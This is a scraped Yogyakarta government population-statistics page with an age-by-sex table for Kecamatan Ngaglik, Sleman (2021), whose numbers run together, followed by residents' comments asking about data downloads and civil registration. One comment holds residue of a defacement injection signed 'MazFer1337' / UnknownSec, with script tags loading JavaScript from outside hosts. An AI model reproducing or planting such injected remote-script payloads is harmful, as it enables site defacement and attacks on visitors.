Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN NGAGLIK, KABUPATEN SLEMAN, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaSARIHARJOMINOMARTANISINDUHARJOSUKOHARJOSARDONOHARJODONOHARJOTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun233225 458151130 281198187 385194156 350223216 4398997 1861.088 1.011 2.099
2 tahun150134 2848286 168121110 23111792 209162137 2997048 118702 607 1.309
3 tahun145177 3228686 172120114 234132104 236167160 3277466 140724 707 1.431
4 tahun150163 3138378 161130130 260111107 218171155 3267058 128715 691 1.406
5 tahun164144 3089487 181122128 250140111 251159174 3337473 147753 717 1.470
6 tahun196157 3539594 189147133 280129125 254148134 2827650 126791 693 1.484
7 tahun188164 35283107 190134145 279133127 260167148 3158781 168792 772 1.564
8 tahun161177 33812299 221159150 309127114 241177167 3448869 157834 776 1.610
9 tahun181179 3609988 187133147 280129113 242175167 3428791 178804 785 1.589
10 tahun174172 34610674 180163125 288124117 241177146 3237768 145821 702 1.523
11 tahun183145 3288191 172124139 263141133 274190154 3447374 147792 736 1.528
12 tahun182171 3539894 192138171 309150141 291172172 3447671 147816 820 1.636
13 tahun153168 3218888 176164158 322140122 262169171 3407984 163793 791 1.584
14 tahun192170 3627680 156158125 283126142 268159161 3208881 169799 759 1.558
15 tahun183172 3558580 165135143 278134107 241154156 3107393 166764 751 1.515
16 tahun167130 2977963 142156122 278106130 236170128 2987577 152753 650 1.403
17 tahun141159 3008075 155146121 2676394 157139142 2815547 102624 638 1.262
18 tahun164136 3008967 156144133 277125114 239144142 2868176 157747 668 1.415
19 tahun163156 3198373 156151124 275104121 225151137 2887787 164729 698 1.427
20 tahun178130 3088965 154168114 282133103 236156159 3158178 159805 649 1.454
21 tahun174138 3129979 178153163 316117117 234149158 3078176 157773 731 1.504
22 tahun135155 29010172 173135120 255118107 225140143 2838375 158712 672 1.384
23 tahun128157 2857780 157143118 26110796 203159122 2817570 145689 643 1.332
24 tahun162147 3099787 184176127 303100110 210146142 2886761 128748 674 1.422
25 tahun153175 3288292 174157154 311131120 251177147 3246072 132760 760 1.520
26 tahun166179 345107103 210156140 296125135 260152137 2898465 149790 759 1.549
27 tahun141169 3108987 176135142 277111132 243141169 3105860 118675 759 1.434
28 tahun165146 3118197 178139143 282112110 222152156 3084765 112696 717 1.413
29 tahun162157 319100106 206154131 28510498 202141179 3205752 109718 723 1.441
30 tahun142184 32697115 212133135 268102121 223121153 2745864 122653 772 1.425
31 tahun157145 30285109 194134145 279113124 237153129 2825757 114699 709 1.408
32 tahun143175 318100108 208110129 239106126 232121139 2604963 112629 740 1.369
33 tahun128153 28190108 198131135 266112109 221140176 3166762 129668 743 1.411
34 tahun149176 325114114 228135143 278115117 232170160 3306473 137747 783 1.530
35 tahun165160 32591107 198127142 269100110 210156147 3036771 138706 737 1.443
36 tahun166168 334116103 219142129 271129110 239144160 3047259 131769 729 1.498
37 tahun168182 350101109 210162147 309128117 245171171 3427589 164805 815 1.620
38 tahun177184 361116111 227150159 309128129 257154157 3118170 151806 810 1.616
39 tahun164191 355122106 228168147 315125137 262205213 4187575 150859 869 1.728
40 tahun181156 337106119 225144163 307130132 262164208 3727174 145796 852 1.648
41 tahun168172 340120103 223178149 327139110 249180182 3626969 138854 785 1.639
42 tahun180179 35995106 201127178 305133122 255183175 3588185 166799 845 1.644
43 tahun164177 34110176 177134170 304118132 250171163 3347778 155765 796 1.561
44 tahun171167 3386981 150158163 321116137 253144162 3067579 154733 789 1.522
45 tahun151154 30592103 195146149 29592133 225152159 3117088 158703 786 1.489
46 tahun137185 32277102 179136163 299107143 250148156 3046999 168674 848 1.522
47 tahun147155 3027678 154138145 28311299 211132139 2718474 158689 690 1.379
48 tahun156158 3148577 162121157 278125120 245144129 2737577 152706 718 1.424
49 tahun155171 3265676 132158148 306117109 226172180 3527888 166736 772 1.508
50 tahun133151 2846660 126132125 25795116 211116139 2559262 154634 653 1.287
51 tahun144151 2955767 124145145 29099125 224122136 2588080 160647 704 1.351
52 tahun156167 3237184 155152142 294121127 248146150 2967678 154722 748 1.470
53 tahun157193 3505974 133132145 2779587 182139149 2888269 151664 717 1.381
54 tahun142137 2796388 151142134 27679101 180122121 2436683 149614 664 1.278
55 tahun135155 2905875 133113133 24695102 197117127 2447760 137595 652 1.247
56 tahun131125 2567080 150123126 24978123 201105130 2356165 126568 649 1.217
57 tahun104108 2126877 14594119 21372103 175112116 2285055 105500 578 1.078
58 tahun128137 2655481 13591104 1959867 165106104 2104855 103525 548 1.073
59 tahun90108 1985691 147101123 2246269 131108122 2307049 119487 562 1.049
60 tahun96107 2035774 1317692 1687394 1678692 1782846 74416 505 921
61 tahun100121 2218388 17110597 2028182 16370118 1884356 99482 562 1.044
62 tahun122120 2427590 1659586 1816577 14210093 1934443 87501 509 1.010
63 tahun8389 17280100 18094105 1995473 12798101 1993854 92447 522 969
64 tahun7697 1737089 1597869 1476467 1318163 1444146 87410 431 841
65 tahun7380 1537270 1427792 1698173 1548074 1543142 73414 431 845
66 tahun6667 1336664 1305878 1364962 1115692 1484035 75335 398 733
67 tahun7370 1435866 1245988 1475050 1006061 1212947 76329 382 711
68 tahun4561 1066549 1145866 1245647 1036165 1262926 55314 314 628
69 tahun6161 1224745 924354 974249 914444 883517 52272 270 542
70 tahun5143 944036 765045 953243 753344 772029 49226 240 466
71 tahun3644 803344 773964 1033541 764755 1021933 52209 281 490
72 tahun2739 663036 663537 723529 644545 901417 31186 203 389
73 tahun3852 902237 593546 813446 805367 1201524 39197 272 469
74 tahun3136 671427 413037 671924 432035 551621 37130 180 310
75 tahun3129 602025 452949 781825 432344 671021 31131 193 324
76 tahun2527 522013 332848 762329 522638 641127 38133 182 315
77 tahun2328 511520 352831 591822 401825 431015 25112 141 253
78 tahun2527 521610 262427 512028 483027 571816 34133 135 268
79 tahun2531 561918 372539 642221 432435 593124 55146 168 314
80 ke atas115149 2644988 137122159 28198156 254117190 30769101 170570 843 1.413
Jumlah10.54510.85421.3996.1646.38512.5499.5049.65819.1627.7937.99315.78610.17710.43920.6164.8694.9559.824 49.052 50.284 99.336
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih